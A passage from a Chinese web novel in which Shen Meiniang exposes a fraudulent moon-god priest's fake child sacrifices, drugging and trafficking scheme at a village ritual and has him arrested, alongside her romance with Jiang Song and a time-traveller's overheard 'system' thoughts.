颜舜华面上浮起淡淡微笑:“叶小娘子在蜀中与我谈交易时,提到了叶大娘子。在下很是仰慕您,特地想来见您一面。” 沈美娘点头,但同样,她的耳边还是有奇怪声音—— “系统,就算是度假世界,我也想帮女主……谁不想和漂亮姐姐贴贴呢?” 沈美娘看过宋薇的那些书,也就能听懂这些奇怪的声音。 再结合,沈美娘从别处听说的,颜舜华本是益州颜氏的庶女,但一朝落水后,就性情大变,斗嫡母嫡姐,还经商成了蜀中巨商。 这人提到了系统。 难道颜舜华是在快穿做任务?那她岂不是就是姜颂的老乡? 沈美娘眼里闪过一丝怀疑。 但她还有要事和青词商量,便只能先放下对颜舜华身份的猜测。 沈美娘道:“颜娘子,我和青词还有话要说,你若是无事,我就先和青词进屋去了。” 颜舜华笑着点头。 然后,沈美娘的耳边果然又响起了女声—— “系统,快帮我兑换几个道具,我要帮女主!” 沈美娘深深看了眼颜舜华。 颜舜华显然不知道她心里的想法,疑惑问:“沈娘子,看我做什么?” 沈美娘摇头轻笑:“没什么。” 目前看来这个人好像没什么恶意,那沈美娘……也没必要立刻除掉她。 先盯着她吧。 沈美娘进屋后,那奇怪的声音终于全都消失了。 她给青词看了李洵风的画像,道:“今晚麻烦你去月神庙,从他手里把证据拿来。” 她将一匣黄金放到青词手中:“这是酬劳。” 青词也没有推却,点头道:“好。” 沈美娘又叮嘱了青词几句话。 入夜,沈美娘和姜颂在一起等青词回来。 宝儿说要和他们一起等,但将近三更天的时候,她就撑不住睡了过去。 只剩姜颂继续坚持陪沈美娘等着。 她突然又听到了那奇怪的声音—— “系统,女主怎么会和一个书里没有姓名的路人甲在一起了啊?” “这个世界剧情崩成这样,男女主家世变动,不会就是因为这个不知道从哪来的路人甲吧?” 沈美娘只能听到在他们隔壁房间住下的颜舜华的话,而那个“系统”的话,她一句都听不到。 她也不知道那个系统是怎么回答的。 沈美娘揉了揉眉心。 姜颂以为她这是担心青词,忙温声安慰她道:“青词武功那般好,肯定不会有事的。” 沈美娘听到姜颂的话这才回过神,她看着眼前在烛光的衬托前,显得格外温柔的少年。 窗户半掩着,偶尔有一点点凉风吹动着他额前的碎发。 不知为何,沈美娘就想到了“岁月静好”这个词儿。 她摇头:“我没有担心青词,她武功那般好,我是……” 沈美娘正准备说出颜舜华的奇怪之处,还可能是姜颂家乡人的事,就听到那奇怪的声音又响起—— “系统,你的意思是说这个路人甲,根本就不是这本书本来存在的人?” 沈美娘停下原本想说的话。 她还想听那边还要说什么,可偏偏她又听不到后面的话了。 不知道是不是那个系统回答了颜舜华的疑惑,她不再追问,沈美娘也不能得知更多的信息。 沈美娘道:“没什么,我就是走神了而已。” 她现在不知道那人的具体来历,还是不要贸然开口为好。 况且,她自己能听到颜舜华的心声,说不定那人和系统也能听到她的话。 “好。”姜颂看了沈美娘一会儿,还是选择相信她。 他又问:“美娘,这么晚了,你饿不饿,我去给你做。” 沈美娘看姜颂这样,忍不住笑道:“不用啦,我要是饿了,肯定会和你说的。” 姜颂点头,他又问沈美娘渴不渴,困不困。 最后还是沈美娘再三说她不渴不饿也不困,姜颂才终于安静下 来,又默默陪着她等。 不过他等着等着,就靠着沈美娘肩睡着了。 沈美娘看了他一眼——该不会又渴又饿又困的是他吧。 沈美娘听到石板街上打更人的声音传来,已经是四更天了。 门也终于被人推开,沈美娘伸手放在唇间,示意青词别吵醒姜颂和宝儿。 她轻轻挪动姜颂,让他躺在小榻上继续睡。 沈美娘和青词到另一间客房内说话,她接过青词拿回来的证据翻看。 青词道:“李洵风说这上面,都是你离开之后,仙师又以各种借口献给月神的新娘和儿女,还有仙师这些年常来往的商人。” 沈美娘翻看名录,突然看到一个人名,立刻拿给青词看:“你瞧这个人,她是不是就是之前在南州时,被叶家的掠人买卖过的人之一。” 青词在叶司马倒台后,把叶司马这些年掠人买卖还能找得到的人,都梳理了一份名单出来给沈美娘看。 沈美娘还让青词给了那些人中,愿意回家也有家可归的人一笔钱。 青词看着这个名字有些不确定。 事情都过去一年之久了,不记得才正常,但沈美娘向来记性好。 她斩钉截铁道:“一定就是她。” 沈美娘摩挲着纸页。 她知道这人会是很重要的证人,但她并不确定这人是否会愿意替她作证。 沈美娘经历过十二岁的事后,她在很长一段日子里都不相信任何真情。 可是她后来又见到了为父母报仇的赵家兄妹,还有为师姐妹报仇的青词,甚至就连她自己…… 她的亲人、朋友们也从未忘记她。 沈美娘对青词道:“你去找到她,看她愿不愿意出来作证……不,这件事还是交给宝儿,你先休整一夜,明日立刻动身去思州城找沈温。” 这种劝人的事,交给已经在六尚局待过,懂得人情世故的宝儿会更合适。 沈温按她之前的计划,也应该到了亦或是快到思州城了。 沈美娘攥紧手,眼里渗着几分恨意和期待。 待到下月十五时,人证、物证都有,还有能给她撑腰的大官在。 沈美娘要亲自撕下所谓神灵和仙师的真面目,把他们蝇营狗苟、浸满人血的勾当全摊开给每一个人看。 青词和沈美娘说完话就去睡了,沈美娘却睡意全无。 她倚着窗,望着窗外的弦月,还有点点零落的星星。 秋风吹过,沈美娘也浑然不觉。 “我怎么睡着了……”姜颂猛地一激灵,才看到沈美娘又站在窗前出神。 他忙起身,跑到她身边,道:“美娘你等青词可以,但别对着凉风吹,会生病的。” 沈美娘回神,看姜颂满眼关切,避开这种容易煽情的话。 她故意道:“青词已经回来了,都睡下了。” 姜颂闻言果然红了脸,支支吾吾道:“我不是故意的,我也不知道怎么就睡着了……” 但可能是被沈美娘转移话题转移多了,姜颂很快反应过来:“美娘,你别想又逃避!我们是在说你不要吹冷风的事!” 沈美娘也没想到姜颂成长得这般快,都不好哄了。 她只好道:“我知错了,行了吧?” 姜颂不情不愿点头,又听到沈美娘突兀道:“宋江江,你说人死后会去哪里啊?” 姜颂听到这话愣住。 沈美娘望着明月,自顾自道:“道家说人死后会去泰山冥府,佛家说人会入六道轮回,这里的人说月神会保佑你……” “但都不是。”沈美娘转过头看姜颂,“人死了,就是死了,会变成森森白骨,说不了话,喘不了气。” 那些被仙师以神灵之名害死的人,也都会这样。 这也是沈美娘当年一定要跳出来阻止拜月仪式,阻止那些人献祭新娘的原因。 “日子再长一些,就连白骨都没了,成了泥、成了粪、成了土。”沈美娘轻笑,“王公贵族、贩夫走卒都是如此。” 姜颂也不清楚沈美娘说这个做什么。 但下一刻,他就明白了过来。 “我当年就不明白,为何要为了虚无缥缈的神灵,杀掉一条又一条鲜活的生命。”沈美娘越说眼神越迷茫,“我从这里逃离的那些年,常常怀疑我是不是做错了。” “直到……”沈美娘的眼神突然变得坚定,“我遇见了你。” 沈美娘过来抱住他:“宋江江,我其实也很奇怪。我和你一样,我也喜欢多想,喜欢想奇奇怪怪的事,有许多和这个人间格格不入的想法。” “关于生死的这些道理,在我七八岁的时候,我就已经悟出来了。”沈美娘眼里满是惆怅,“可是没人认真听我说,更没人听得懂。” 沈美娘道:“你是第一个。” 姜颂闻言,垂眸看沈美娘。 此刻的她,在月华下,显得温柔、恬静。 或许,在沈美娘张扬恣意、玩世不恭的外表下,一直都藏着一颗敏感的心。 这样敏感的她,和同样多思的姜颂,也就难怪会彼此喜欢了。 第62章 第62章不要搞迷信。 姜颂第一次看到沈美娘把她柔软的一面暴露出来。 他想起了沈美娘的那些朋友,问:“美娘,你的朋友们,他们难道也不理解你吗?” “不理解。”沈美娘有些遗憾,“沈志是相信我才不相信月神,幼安则一直都是相信人有魂灵的,李洵风倒是完全不相信月神……但他也只是在神鬼之事上和我一样。” 沈美娘总是给人精明感的狐狸眼里,难得有几分怅然。 她道:“我小时候,还想过很多很多东西。” “天为何如此广,地为何如此宽,水为何往低处流,春夏秋冬缘何会更改。”沈美娘的眼里是无穷无尽的好奇,“走在路上为何要贱避贵,又为何都是人,有的人就是奴隶,有的人就是贵人……” 沈美娘有些淡淡失落:“没人会回答我的问题,后来我自己摸索出了一些答案——山川湖海会如此,定然是有我不知道的缘由,但绝不是什么神灵主宰。至于贵贱之别,那不过是权贵们维持地位的小把戏。” 姜颂感受到沈美娘更用力地抱紧他,她轻声道:“没想通这一切前,我很痛苦,想到答案后,我也很痛苦。” 沈美娘不止一次怀疑自己是不是疯子,不然她为何会有那么多离经叛道的想法。 直到她遇到姜颂。 原来她不是疯子,她只是比这里的人更早一点醒来。 姜颂和宋薇的存在,让沈美娘相信千百年后,她的疑问会得到彻底回答,她期待的生活能够实现。 “美娘……”姜颂抱住沈美娘,“我们可以一起去我娘的家乡,或许在那里,我们都能够过得很好。” 沈美娘听到这话却笑了:“倒也不错。不过我想我们大抵,这辈子都是去不了的。” 从宋薇的那些日记里,沈美娘大概知道那些美好 的生活,还需要一千多年的沧桑巨变才能达到。 她和姜颂,想必有生之年都是去不了的。 “能有你听懂我的话,我就已经很开心了。”沈美娘道。 两人用力抱紧彼此,他们都知道彼此是这个世界里,最理解对方的人- 拜月仪式这日,一切都按沈美娘事先安排的那样进行着。 唯一的变数,就是青词那边找到了沈温,他也答应了前来。 但沈美娘也不知道那人究竟是不是真心答应,以及他会不会前来,又究竟什么时候会到。 不过——沈美娘看了眼身边的姜颂,实在不行,就只能把姜颂的真实身份说出来。 姜颂察觉到沈美娘看他的眼神,道:“美娘,你看我做什么?” “到时候要是沈温赶来不及时,我就得借你的皇帝身份一用了。”沈美娘直接道。 姜颂点头:“好啊,只要能还美娘你清白,让我做什么都可以。” 沈美娘听到姜颂的话沉默片刻,就挑眉一笑:“还是算了,我自己来就好。” 应该能赶得及,再说就算沈温不来或是来迟了,这次人证物证都有,沈美娘也不会再像十二岁那样被诬陷了。 她要亲手替十二岁的那个沈美娘,洗掉所有泼在她身上的污水。 姜颂和沈美娘到拜月仪式时,到场的人已经很多了,和沈美娘记忆里一样多。 她印象里,不论是丽娘被她搅和的第一次献祭,还是后来她代替丽娘作为新娘来这里,却意外得知所谓新娘真相的那次。 这里的人好像都是如此多。 他们根本意识不到这是在看一场谋杀,而全都认为这是一件光荣的事。 “您二位来了,请到这边来。”道童引两人入座。 他们果然给沈美娘留的是最好的位置。 沈美娘和十八寨子每个寨子的寨老,还有四大姓的头人们都坐在一块。 身旁的某位寨老,主动和沈美娘拉近乎:“听说这位夫人是从上京来的巨商,不知可是经营的什么生意。” 沈美娘轻笑:“是些小生意罢了,上不得台面。” 看来她给月神庙捐了一大笔钱的事,在十八寨子已经人尽皆知。 那位寨老又奉承了几句,道:“若是夫人以后有什么生意,尽可以来找我们寨子,我们寨子不比你现在住的那处差。” 沈美娘听到这话眼里闪过一丝轻嘲,面上却还是笑着的:“好。” 那寨老看着沈美娘好看的眼睛,夸赞道:“夫人的眼睛当真生得好看,比最好看的珠宝都还要夺目。” 沈美娘听到这话笑意更深。 她记得当年这位寨老,可是最讨厌她的眼睛的。 这里的人喜欢谈论她的六指,也喜欢议论她像小狐狸一样狡黠的眼睛。 他们都说这是月神降下的惩罚,是她是孽种的证据。 可如今这些人竟然也会夸赞她这双眼睛。 沈美娘不再和这位寨老寒暄,偏过头握住了姜颂的手。 她的指尖还是如往常般泛凉,还好姜颂的手总是很暖和,能够温暖她。 姜颂察觉到她的动作,有些不明所以看过来,下意识就回握住她的手。 他小声问:“美娘,你是不舒服吗?” 今日这些人大多是当年将沈美娘视为“孽种”的乌合之众,她的不幸和这里大部分人都脱不了干系。 她是不是看到这些人,心里不舒服? 沈美娘摇头,和姜颂咬耳朵:“我就是想摸摸你的手。” 姜颂有些脸红,但还是任沈美娘继续摸他的手。 沈美娘感受到指尖传来的,源源不断的暖意,心里也踏实不少。 “来了!” 沈美娘听到身后的人群传来激动的声音。 仙师和他的弟子们终于出现了,而他们身边还带着这次将要被献祭的三对童男童女。 沈美娘的目光在人群里找了一圈,终于找到了这些小孩的父母。 他们其中不知道祭祀月神真相的父母,脸上大都洋溢着笑容,很是骄傲自己家的小孩能够被献给月神。 就算有人眼里有几分不舍,也没什么难过的心绪—— 他们是真的坚信,被祭台上的火烧死不是死,而是去了神仙去的地方,成了仙。 至于当年被沈美娘救下,知道月神真相的那几位“月神新娘”,脸上都几乎毫无血色。 但她们也没人敢哭。 这是祭祀神灵,是为族人求得神灵庇佑的典礼,哭是不吉利的。 沈美娘的目光和冉丽娘碰上,沈美娘也没有丝毫心虚,只微笑着对冉丽娘颔首。 冉丽娘可能是知道现在的一切都怪她当年的怯懦,都是自食恶果。 所以,她望向沈美娘的眼里有后悔,有难过,甚至有一丝愧疚,却没有怨恨。 在知道所谓神灵都只是一场骗局,却还是只能看着唯一的亲生女儿赴死后,冉丽娘真正的悔了。 沈美娘却只是轻飘飘地看了那人一眼,就收回目光,重新落回了祭台之上。 仙师道:“癸酉年甲申月丙辰月,秋,祭月神。” “拜——” 其他人都起身跪拜,只有沈美娘和姜颂还是坐在原地,没有任何动作。 沈美娘当然不会跪这个月神。 她当年被看作“孽种”时,都不稀罕拜月神,更不要说现在了。 仙师看到沈美娘和姜颂的举止,就算心中不满,也不能表露出来。 毕竟这二人是外乡人,还出了那么一大笔钱。 “再拜——” 沈美娘看着那些不过五六岁,最大也不超过八岁的孩子,欢欢喜喜走上祭台。 她眼睫微垂,遮掩住眼里的寒意。 那些孩子不会知道等待他们的是什么。 他们每个人脸上都洋溢着自豪的笑容,无比期待着这场献祭。 “兴。” 自此算是礼成,仙师的弟子们将手中的火把丢到祭台下的木堆上,事先泼了石漆的木材很快就燃了起来。 火自下而上蔓延,立刻将整个祭台都包裹住,焦臭味被风一吹就弥漫开来。 沈美娘听到耳边愚人们的欢呼声,仙师和他的弟子们不断的颂祝声,嘴角的上扬的弧度越来越大。 但她眼里的冷意却越发明显。 “沅沅——”冉丽娘还是拗不过心底的担心,哭着向祭台跑去,却被人拉住手脚。 除了她之外,其余几个当年被沈美娘救下来的新娘,也跟着哭着往祭台而去。 沈美娘摩挲着小拇指,那处明明早就不疼了的陈年旧伤此时又疼了起来。 她知道她想要的机会来了。 “诸位这是做什么?今儿是祭祀月神的好机会,你们在这里成何体统?”仙师斥责道。 他指挥弟子,道:“来人,把她们都拉出去。” 冉丽娘拼命挣扎,向沈美娘投来求助的目光,可是沈美娘依旧只是微笑着看她。 在这一瞬间,她才愈加明白沈美娘当年的无助。 明明她说的都是真的,明明她没有一个字是假的,可是还是没有一个人会相信她的话。 沈美娘如今给月神庙捐了这许多钱,连寨老们都对她如此礼遇有加。 就算自己戳破她的真实身份,只要沈美娘抵死不认,也没人能伤她分毫,还会让冉丽娘再被仙师数落。 原来,当年的美娘,是这般绝望。 或许,她比自己还要更加绝望——因为不救她,不为她说话的人,是一两个时辰前,她刚刚豁出一切救下来的人。 “这几个疯女人,也不知道是你们哪个寨子、哪家的……” 沈美娘听到身边的寨老、头人们议论纷纷,其中一人道:“怎么跟那个孽种阿怪一样,以前你们天天指责我们沈家出了孽种,但这些疯子可不是我们沈家的。” 沈美娘眯眼看去,是当年沈头人的大儿子。 想来是在沈头人死后,由他顶替了他父亲的位置,成了新的沈家头人。 这人看来还没他爹一半聪慧,到现在都没有发现他的幼弟,已经被谢阁老接到上京,去指认沈美娘是在逃的杀人犯了。 沈美娘也得感谢这人不聪明,加上谢阁老做事谨慎。 他为了不被人发现,只是派人偷偷接走了当年第一个发现沈美娘“杀人”的证人。 “阿怪? 什么阿怪?“沈美娘轻声问那几个聊得火热的寨老和头人。 沈头人道:“夫人,你不认识她,她是个古怪的孽种,生下来啊就是六指,被神诅咒受天罚的短命鬼一个……” “你说什么。”姜颂厉声打断这人的话。 他知道这样有些莽撞,可他就是听不得旁人这样贬低沈美娘。 沈美娘依旧笑意盈盈,问:“你继续说,我还想听听。” 沈头人看到姜颂眼里的杀意,有些紧张地咽了咽口水,才道:“她一出生啊,仙师就说她注定要给我们十八寨子带来大麻烦,还是灭族的大灾。” “要不是她生母沈七娘够泼辣,在寨子里也说得上几句话,那个孽种早就被摔死了。”沈头人说得活灵活现,“可是啊,这孽种就是孽种,后来她才十二岁,就害死了十几个人,连我爹都被她给害死了。” “你说,这不是孽种,是什么?” 沈美娘眼里的笑意渐深,道:“你说的确实有理……” “有理什么啊,他有什么……”姜颂忍不住道。 可他的话没说完,就被沈美娘攥紧手,姜颂只好闭上了嘴。 沈美娘盯着眼前的沈头人,继续问:“不知,那个孽种,如今在何处?” “死了呗。”沈头人道。 沈美娘缓缓松开握着姜颂的手,伸手将小指上的戒指摘下。 她把戒指,放到姜颂手心,对他笑了笑,像是让他不要担心。 沈美娘的耳边还时不时传来那些人议论的声音—— “死的好,不死等着她长大了,把咱们全都害死吗?” “早就说她是不干净的精怪转世,就该把她杀了。” “可惜没找到尸首,不然一定要把她的尸首给剁碎了,扔进池里泡着,叫她下辈子,不敢再投咱们这儿来了。” …… 沈美娘听到那些话,嘴角勾了勾,起身向祭台走去。 火已将熄,灰烬被风吹得乱飞,有的甚至落在了沈美娘的肩上和发间。 仙师以为沈美娘是来沾月神福泽的,让弟子们从还在燃烧的木堆里捧来草木灰,就要给沈美娘兑水叫她喝下。 沈美娘盯着几人的动作,轻嘲:“你们这些哄骗人的技俩,都七八年了,竟然一点都没有改进。” 仙师动作一愣,李振鹤也一脸不可置信地看向她。 沈美娘提起裙摆,走到将要被彻底烧毁的祭台中央,火堆的余热有些刺疼和灼烧感,她却好像浑然不觉。 沈美娘走到最中间的地方,踩了踩脚下的地,确信脚下是怎么一回事后,抬眼向仙师看过来:“仙师,当年你说,我若是活到十五岁,就会将整个十八寨子的人全都害死。” “可是,我今年都十九了。”沈美娘轻笑,“看来,仙师,你的本事也不过如此嘛。” 仙师总是故作高深的脸上,表情变得惊恐。 他瞪大了眼睛,声音颤抖道:“你、你是沈美娘?” 沈美娘轻轻点头。 “您这般害怕做什么?您说我会把所有人害死,可如今大家不都还好好活着吗?”沈美娘反问。 “还是您怕我把你做过的勾当,都公之于众,比如……”沈美娘的脚尖轻点了点脚下的地,轻笑道: “这下面其实是空的,刚才所有被献给月神的孩子,就在这下面?” 第63章 第63章我闻神仙亦有死。 沈美娘站在原地,她含着笑意望向眼前的仙师,时间好像被缓慢地拉回到十二岁的那个漫长夏日。 小小的沈美娘坐在用来抬月神新娘的轿子上,她小口小口咬着阿娘给她做的肉饼。 轿子要在月神庙停一晚,让月神先“见见”,等到第二日再献祭给它。 为了平息被沈美娘搅乱第一次献祭月神仪式的月神怒火,这次除了冉丽娘,还多了十二位新娘。 沈美娘看夜已深,四周都静悄悄的,就掀开花轿帘子下来,还去掀了其余新娘们的帘子。 可是她们都睡着了。 沈美娘想,可能是下午让她们喝的那碗符水的缘故。 但沈美娘总是给阿爹阿娘揉肩捏腿,她不识字,但知道哪个穴位能叫人疼,能把人喊醒。 她把其他新娘都摇醒了,还问她们吃不吃肉饼。 可是她们好像都很畏惧沈美娘,纷纷摇头不说,还不解地盯着她。 沈美娘猜想,是这些人都知道她“孽种”的名声。 没人理沈美娘,她也不生气,解释道:“仙师都是骗你们的,人死了就什么都没了,不会成神仙的。” 其他几个新娘子不为所动。 沈美娘又道:“我没骗你们,被烧死会很疼的!” 那些新娘子还是不理她,有人反而对她啐了一口:“阿怪,你是嫉妒我们可以被献给月神吧,不像你,一生下来就不祥,是被月神厌恶的孩子。” 沈美娘听到这话有些不高兴。 若是放在平常,她一定要给这人两耳光。 可是现在是救人的要紧时候,沈美娘只能继续苦口婆心劝:“不是的……他们都是骗你的,世上根本就没有鬼神。” “那你倒是证明给我们看啊。” “就是,你证明给我们看看再说!” …… 沈美娘听到这话,转头看向被供奉的神像。 她拿起桌上的贡品,就要往神像上砸去,不过身边的女孩子们拖住了她。 沈美娘身形瘦小,被几个姑娘拖着,当然动作不得。 有位年长的姑娘,好心道:“阿怪,你怎么可以砸月神呢?你还活着就是月神大度了,你应该虔诚供奉,好换得月神的宽恕才是。” 沈美娘摇头:“不是的、不是的,被烧死会很疼的,我和幼安见过被烧死的尸体,都难以辨别人形了。” 可还是没人会听她说话,那些人依旧不解地看着她。 又有人道:“我娘见过上一次献祭月神,她说献祭月神后,都是什么都不剩下的,干干净净的。” 沈美娘当时年纪小,也不知道该说什么才能让这些人相信。 她也不知道该怎么解释这奇怪的现象。 不过—— 沈美娘从记忆里回神,往后退了退,立刻有一拨人提着铲子、锄头等工具涌了进来。 姜颂也拔剑,站到沈美娘身前,护住她。 她指着刚才站的地方,道:“就挖这里。” 下面众人闻言就要上来,已经反应过来的仙师更是指着沈美娘,直接道:“你这疯子,你这个孽种,你做出这种事,月神会降罪给我们每个人的。” “月神?”沈美娘轻笑,“你们这里的人格外迷信神灵,不,也许应该说是——” “你希望每一个人都相信月神的存在。”沈美娘乜了仙师一眼,“不然,你可就没饭吃了。” 这些人都相信月神的存在,所以,沈美娘这次要找不相信月神的来帮她。 比如,这群帮她“掘地三尺”的人,就是她利用小乞丐从思州城找来的乞丐。 就在沈美娘找来帮忙的人与十八寨子的人对峙时,一个细弱的声音从地下传来—— “娘……” 这个声音像是某种开关,让骚动的人群都冷静下来。 下面的六个孩子,可能是被刚才大火熏疼了眼睛,一个劲儿地流着泪,声音也有些沙哑。 已经被仙师赶出去的冉丽娘和其余几位母亲,已经趁乱又跑了进来。 她们奋不顾身跑过去抱住自己的孩子。 冉丽娘检查着女儿,发现她除了被呛了几口,裸露在外的脸蛋略微有些发烫外,身上一点烧伤都没有。 她摸了摸女儿身上的衣服料子,又凑上去闻了闻,才发觉她身上的衣裳已经事先浸了醋、涂了蜡,里面还贴着绣了一层南边来的透气纱布。 冉丽娘像是想到什么般,抬眼向沈美娘看过去。 是美娘做的? 对,一 定是沈美娘做的,只有她才有这般大的本事和细致的心思,还有……如此的善心。 “我作证……”冉丽娘颤颤巍巍起身,指着仙师道:“他根本就不是什么仙师,所谓的月神新娘也好,献给月神的儿女也罢,全都是这妖道敛财的工具。” 寨老们有人眼中是惊讶的神色,也有人眼中是害怕与惶恐。 沈美娘将这些人的表情尽数纳入眼中。 其中一位最年轻的寨老,问:“仙师,你说这是怎么一回事?不是说献给月神吗?怎么这些孩子,全都在这地下?” 仙师张口正想解释,却被沈美娘的笑声打断。 众人向她看过去,她才道:“都看我做什么?你们不是都最信任你们这位仙师吗?” 刚才质问仙师的寨老,追问:“阿怪……沈夫人,你可知道其中真相。” “我知道,当年我就说过了啊。”沈美娘端起刚才仙师递给她的符水,“这符水是个好东西,只是喂给新娘和孩子们的符水里掺了迷药。” “不过今日,我让人替换了给这些孩子的符水。”沈美娘与李洵风相视而笑,“至于为何要放迷药,当然是因为……仙师要和十八寨子里,最有地位、钱最多的寨老们,用买卖人口和仙丹来换钱。” 仙师还没辩驳,如今十八寨子里最厉害的田寨老先反驳:“买卖人口能赚几个钱,别说是一个月神新娘,就算是把这寨子里所有女人都卖了,也值不了几个钱。” “我不是说还有仙丹了吗?”沈美娘轻笑。 她的目光落在那几个劫后余生、捡回一条小命的孩子身上,眼神愈加寒凉:“你们说这仙丹是怎么炼的?” “若是来了葵水的月神新娘就运气‘好些’,仙师只会给她们喂药,让她们几乎葵水不断。”沈美娘道。 闻言,在场的人都被沈美娘的话震住。 沈美娘道:“为何月神新娘一般是五年一献,因为五年正好是一个女孩子在这种情况下,被折磨到死或是不成人形的最大期限。” 等到将死不死时,就可以贱卖得远远的,一个身体已经到了崩溃边缘的女子,被人伢子领了去,不消多时就咽了气。 既多赚了钱,还不必脏了自己的手。 沈美娘看着眼前被请出来的月神像,道:“若是孩童,就更简单些,直接杀了放血,再把小小的尸首埋到这月神庙下面去。” 她说完这话,就将手里的符水泼到月神上,转身看向所有人:“这就是所谓月神福泽的真相。” “仙师和在场十之八九的寨老、头人想来都清楚罢。” 沈美娘的话无异于平地起惊雷。 原本因为沈美娘破坏仪式的愤怒的人群,在片刻的怔愣后,将矛头对准仙师和高高在上的寨老、头人们:“仙师,她说的可是真的?” 在场的许多人,都有过亲人,亦或是亲人的亲人被献给月神的经历。 他们没什么文化,也易被煽动,在遇到天灾吃不起饭时,仙师就说要给月神献祭。 他们照做了,也确实度过了难关,因此维持着常年的祭祀…… 可谁也没想到所谓真相会是这样。 沈美娘没注意身后人群的骚动,从地上捡起一把锄头,想将月神神像的头砍下。 “你做什么!”仙师惊道。 沈美娘却不为所动,又扬起手里的锄头,用力砍了好几下,才听得“砰”的一声,那颗泥胎塑的头就掉在了一地草木灰中。 它咕噜咕噜地滚了好远,直到仙师扑上去像抱宝贝般,将它抱进怀里不撒手,它才没有继续四处乱滚。 仙师瞪着沈美娘,目眦欲裂:“你这个孽种,你怎敢……” “我有什么不敢。”沈美娘冷哼一声,“你这淫祠破庙,我十二岁时便砸过一次,如今不过是再砸你一次罢了!” 仙师见此道:“你当年杀人……” “我可以作证,沈美娘没有杀人,当年她只是在沈头人和其他人的符水里下了迷药,我摸了那些人的脉,只是晕过去了而已。”当年的一位选择沉默的月神新娘,在此刻选择站出来帮沈美娘作证。 她是寨中巫医的女儿,她的话,寨中人当然相信。 另外一位还抱着儿子,不住流泪的女人,道:“她确实捅了沈头人一刀,但那是为了带我们逃跑。” 下面的人群听到这话,有人疑惑:“逃跑?什么逃跑?” 沈美娘道:“那夜我没喝符水,还摇醒了其他新娘子……我们每个人都在轿子里,听到了当年沈头人和仙师争吵的话。” “沈头人不满仙师和他三七分利,两人说话间就争吵起来。沈头人打算给仙师点教训,就在下半夜带了些地痞流氓到月神庙去。”沈美娘眼里闪过嘲讽之意。 “不过他们去时,仙师不在,他们把仙师的弟子们教训了一顿,还端起符水就喝。沈头人可能是知道月神的符水没什么好喝的,也可能是像他推说的那般身子不适——反正他没喝。”沈美娘道。 但沈美娘肯定是要带其他新娘子们逃跑的,其他人也在听到血淋淋的真相后,决定与她一同逃跑。 她和其他人一起把沈头人敲晕过去,还给他腿上来了一刀。 但她也不知道,缘何后来那些人会都死了。 仙师看沈美娘的罪名被洗清,下面的人愈加愤怒。 他对一群寨老、头人们,厉声道:“你们以为,我死了,你们就能活吗?” “农桑之事本就靠天吃饭,商贾之事也需运气,我用这种法子弥补,有什么错!”仙师道。 他指着下面的人,威胁道:“不要忘了,你们种的是谁的田,得罪了这上头的大人们,你们以为你们还有的田种?有的生意做?” “寨中大事本就是寨老、头人和族长说了算,你以为凭你们这些小小蝼蚁,就能扳倒我们吗?” 仙师此话一出,下面的人果然全都沉默。 蝼蚁如何撼动巨木。 “是吗?”沈美娘睨了眼仙师,“也就是说,刚才的罪状,仙师和诸位寨老、头人们都认下呢?” 寨老中有人面露嫌恶之色,听到沈美娘的话,从仙师身边悄无声息挪开了。 沈美娘看到最终仙师身边剩下的人,道:“这可是你们自己认的罪。” “沈大人、陆大人,此人已经认罪,你们还不进来将他们缉拿归案吗?”沈美娘喝道。 下一刻,披坚执锐的士兵和官府的捕快冲进来,将这里团团围住。 沈美娘看着仙师,笑意更深:“你不会没发现,一刻钟之前,这里就有官兵埋伏了吧?” 第64章 第64章“三岁看老”不是玩笑话…… 仙师被官兵制服,被按在了地上。 沈美娘俯视着这人,依旧笑着:“蚍蜉又如何?就算是不起眼的蚍蜉,也能聚少成多,将你推倒。” “再说,我从来都不是蚍蜉,我才是那棵大树。”沈美娘眼里满是不屑,“当年我都可以把你给阉了……如今自然也有办法,依律法铁条、名正言顺地杀你。” 沈美娘转过身,不再看这个所谓仙师,示意身边的姜颂把剑收了。 这人怎么还是这样,动不动就拔剑? 算了……就当他是关心则乱吧。 沈温控制住局势,匆匆过来,想要靠近沈美娘,却看到了沈美娘身前提着剑的姜颂。 他压下原本想对沈美娘说的关切话,对姜颂拱手,就听 到他道:“你叫我宋公子就好。” 沈温道:“宋公子,是下官来迟,不知您和夫人可有受伤。” 姜颂摆摆手:“我们都没事。” 他有些不高兴沈美娘把如此重要的一环,交给了沈温来做。 姜颂本就看不顺眼沈温,这下心里越加不高兴。 他上前揽住沈美娘的手臂,还故意蹭了蹭,又瞥了眼沈温。 就算美娘把这重要的一步交给他又怎么样?美娘心里真正在意的可只有他。 沈美娘因姜颂的动作回过神,把目光从被羁押的仙师一众人等上收回,偏过头看姜颂。 她又看了看沈温。 姜颂怎么这般幼稚,不过…… 沈美娘亲昵地拍了拍姜颂的手,他看向沈温的眼神里显摆之色更重。 还好在这时,交代完事情的思州刺史陆大人也过来了,他对沈温道:“大人,犯人已尽数收押,我等会尽快将此案审理清楚。” “只是……”陆大人有些停顿。 西南地方山高岭险,思州尤甚,这边与外界连接少,供奉的神灵多了去了,什么依罗娘娘、密洛陀、王姜兄妹…… 这地方祭祀本就是寻常之事,要辨别淫祠邪寺和这些神灵太难,素来知思州的官员都是睁一只眼闭一只眼过去了。 陆大人当年未被调任思州刺史前,素来很欣赏沈温的诗才,两人交情不浅。 此次他被沈温着急喊来多管闲事,甚至叫他调了兵,吓得陆大人以为是思州境内有什么民变。 结果,他来了才知道只是管一件小小的淫祠之事罢了。 只是,如今当真要查,也就要涉及给眼前的女子翻案,陆大人也拿不准这女子的身份,更不知道她身边少年的身份。 但这女人看着和身边的公子是夫妻,那就不是沈温的情人,倒也不用太小心。 沈美娘看向陆大人,道:“只是什么?” 陆大人:“这位夫人既然如今疑罪未明,也需要和我们走一趟,将当年的事都说清楚。” 沈美娘闻言点头,倒是没有陆大人想的那般难缠。 姜颂有些不舍地拉着她的手,看向陆大人,下意识道:“大胆,你……” “没事啦,官差办案肯定得问清楚的,你不用担心我。”沈美娘打断了姜颂的话。 姜颂这才发觉他刚才下意识就想说出真实身份,以权压人。 他也知道这样不对,可是他也不想沈美娘受伤。 沈美娘捏了捏姜颂的手,像是在安抚他:“我把事情都说清楚就好了,很快就会回来的,你替我先照顾好阿爹阿娘。” “好吗?” 姜颂哪里说得出个不好,他不情不愿地点头,看着沈美娘也被暂时羁押。 沈温看到两人像寻常夫妻般情比金坚的样子,觉得无比刺眼,他却还是不得不恭敬道:“宋公子,您放心,我一定会命人好好照顾沈夫人的。” 一旁的陆大人听到“沈夫人”三个字才回过味来。 